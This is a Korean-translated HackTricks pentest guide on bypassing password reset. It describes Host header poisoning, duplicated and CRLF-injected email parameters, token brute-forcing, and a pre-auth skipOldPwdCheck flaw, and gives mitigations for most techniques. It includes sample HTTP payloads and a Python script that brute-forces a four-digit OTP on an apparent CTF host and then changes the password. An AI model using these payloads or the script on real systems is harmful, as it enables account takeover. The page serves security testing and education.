Reset/Forgotten Password Bypass

Reading time: 9 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Password Reset Token Leak Via Referrer

  • HTTP referer header가 URL에 포함된 경우 password reset token이 leak될 수 있습니다. 이는 사용자가 password reset을 요청한 후 제3자 웹사이트 링크를 클릭할 때 발생할 수 있습니다.
  • 영향: Cross-Site Request Forgery (CSRF) 공격을 통해 계정 탈취 가능성.
  • 악용 방법: referer header에 password reset token이 leak되는지 확인하려면, 이메일 주소로 password reset을 요청하고 제공된 reset link를 클릭하세요. 즉시 비밀번호를 변경하지 마십시오. 대신 Burp Suite로 요청을 가로채는 상태에서 Facebook 또는 Twitter 같은 제3자 웹사이트로 이동하세요. 요청을 검사하여 referer header에 password reset token이 포함되어 있는지 확인하세요. 이는 민감한 정보가 제3자에게 노출될 수 있습니다.
  • 참고자료:
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Password Reset Token Leak Article

Password Reset Poisoning

  • 공격자는 password reset 요청 중 Host header를 조작하여 reset link를 악성 사이트로 향하게 할 수 있습니다.
  • 영향: reset token을 공격자에게 leaking하여 계정 탈취 가능성.
  • 완화 조치:
  • Host header를 허용 도메인 화이트리스트와 비교해 검증하세요.
  • 절대 URL을 생성할 때 안전한 서버 측 방법을 사용하세요.
  • 패치: password reset URL을 구성할 때 $_SERVER['HTTP_HOST'] 대신 $_SERVER['SERVER_NAME']을 사용하세요.
  • 참고자료:
  • Acunetix Article on Password Reset Poisoning

Password Reset By Manipulating Email Parameter

Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.

  • &를 사용해 두 번째 파라미터로 공격자 이메일을 추가
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • attacker email을 두 번째 매개변수로 %20을 사용해 추가
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • 공격자 이메일을 | 를 사용해 두 번째 매개변수로 추가
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • 공격자 이메일을 cc로 두 번째 매개변수로 추가
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • bcc를 사용하여 attacker 이메일을 두 번째 매개변수로 추가
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • 두 번째 매개변수로 attacker email을 쉼표(,)로 추가
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • json array에서 두 번째 매개변수로 attacker email을 추가하세요
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

API 파라미터로 임의 사용자의 이메일 및 비밀번호 변경

  • 공격자는 API 요청의 이메일 및 비밀번호 파라미터를 수정하여 계정 자격 증명을 변경할 수 있습니다.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
  • 완화 조치:
  • 매개변수 검증과 인증 검사를 엄격히 시행하세요.
  • 의심스러운 활동을 탐지하고 대응할 수 있도록 강력한 로깅과 모니터링을 구현하세요.
  • 참고:
  • Full Account Takeover via API Parameter Manipulation

No Rate Limiting: Email Bombing

  • password reset 요청에 대한 rate limiting 부재는 email bombing으로 이어져 사용자가 reset emails로 과도하게 몰릴 수 있습니다.
  • 완화 조치:
  • IP address 또는 user account 기반의 rate limiting을 적용하세요.
  • 자동화된 남용을 막기 위해 CAPTCHA 챌린지를 사용하세요.
  • 참고:
  • HackerOne Report 280534

Password Reset Token이 어떻게 생성되는지 파악하기

  • 토큰 생성의 패턴이나 방법을 이해하면 토큰을 예측하거나 brute-force할 수 있습니다. 몇 가지 옵션:
  • Based Timestamp
  • Based on the UserID
  • Based on email of User
  • Based on Firstname and Lastname
  • Based on Date of Birth
  • Based on Cryptography
  • 완화 조치:
  • 토큰 생성에 강력한 cryptographic 방법을 사용하세요.
  • 예측 가능성을 방지하기 위해 충분한 randomness와 길이를 보장하세요.
  • 도구: Burp Sequencer를 사용하여 토큰의 randomness를 분석하세요.

Guessable UUID

  • UUIDs (version 1)이 guessable하거나 predictable하면 공격자가 brute-force하여 유효한 reset tokens를 생성할 수 있습니다. 확인:

UUID Insecurities

  • 완화 조치:
  • 무작위성을 위해 GUID version 4를 사용하거나 다른 버전에는 추가 보안 조치를 구현하세요.
  • 도구: guidtool로 GUID를 분석하고 생성하세요.

Response Manipulation: Replace Bad Response With Good One

  • error messages나 restrictions를 우회하기 위해 HTTP responses를 조작하는 행위.
  • 완화 조치:
  • response 무결성을 보장하기 위해 server-side 검사를 구현하세요.
  • man-in-the-middle 공격을 방지하기 위해 HTTPS와 같은 보안 통신 채널을 사용하세요.
  • 참고:
  • Critical Bug in Live Bug Bounty Event

Using Expired Token

  • 만료된 tokens가 여전히 password reset에 사용 가능한지 테스트하기.
  • 완화 조치:
  • 엄격한 token 만료 정책을 구현하고 token 만료를 server-side에서 검증하세요.

Brute Force Password Reset Token

  • IP 기반 rate limits를 우회하기 위해 Burpsuite와 IP-Rotator 같은 도구를 사용해 reset token을 brute-force하려는 시도.
  • 완화 조치:
  • 강력한 rate-limiting 및 account lockout 메커니즘을 구현하세요.
  • brute-force 공격을 시사하는 의심스러운 활동을 모니터링하세요.

Try Using Your Token

  • 공격자의 reset token이 피해자의 email과 함께 사용될 수 있는지 테스트하기.
  • 완화 조치:
  • 토큰이 user session 또는 다른 사용자별 속성과 바인딩되어 있는지 확인하세요.

Session Invalidation in Logout/Password Reset

  • 사용자가 logout하거나 password를 reset할 때 session이 무효화되는지 확인하세요.
  • 완화 조치:
  • 적절한 session 관리 구현하여 logout 또는 password reset 시 모든 session이 무효화되도록 하세요.

Session Invalidation in Logout/Password Reset

  • Reset tokens에는 만료 시간이 있어 그 이후에는 무효화되어야 합니다.
  • 완화 조치:
  • reset tokens에 대해 합리적인 만료 시간을 설정하고 server-side에서 엄격히 적용하세요.

OTP rate limit bypass by changing your session

  • 웹사이트가 wrong OTP 시도를 추적하기 위해 user session을 사용하고 OTP가 약한 경우(<= 4 digits)에는 OTP를 효과적으로 bruteforce할 수 있습니다.
  • exploitation:
  • 서버에 의해 차단된 후 새 session token을 요청하세요.
  • Example code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
python
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # follow number of rails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)

cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)

reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")

Arbitrary password reset via skipOldPwdCheck (pre-auth)

  • 일부 구현은 skipOldPwdCheck=true로 password-change 루틴을 호출하고 reset token이나 소유권을 확인하지 않는 password change action을 노출합니다. 만약 endpoint가 change_password 같은 action 파라미터와 request body에 username/new password를 허용하면 공격자는 pre-auth 상태에서 임의의 계정을 reset할 수 있습니다.

Vulnerable pattern (PHP):

php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);

// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}

public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}

Exploitation 요청 (개념):

http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!

완화 조치:

  • 비밀번호 변경 전에 계정 및 세션에 바인딩된 유효한 시간 제한 재설정 토큰을 항상 요구하세요.
  • skipOldPwdCheck 경로를 인증되지 않은 사용자에게 절대 노출하지 마세요; 일반적인 비밀번호 변경에는 인증을 강제하고 기존 비밀번호를 확인하세요.
  • 비밀번호 변경 후 모든 활성 세션과 재설정 토큰을 무효화하세요.

참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기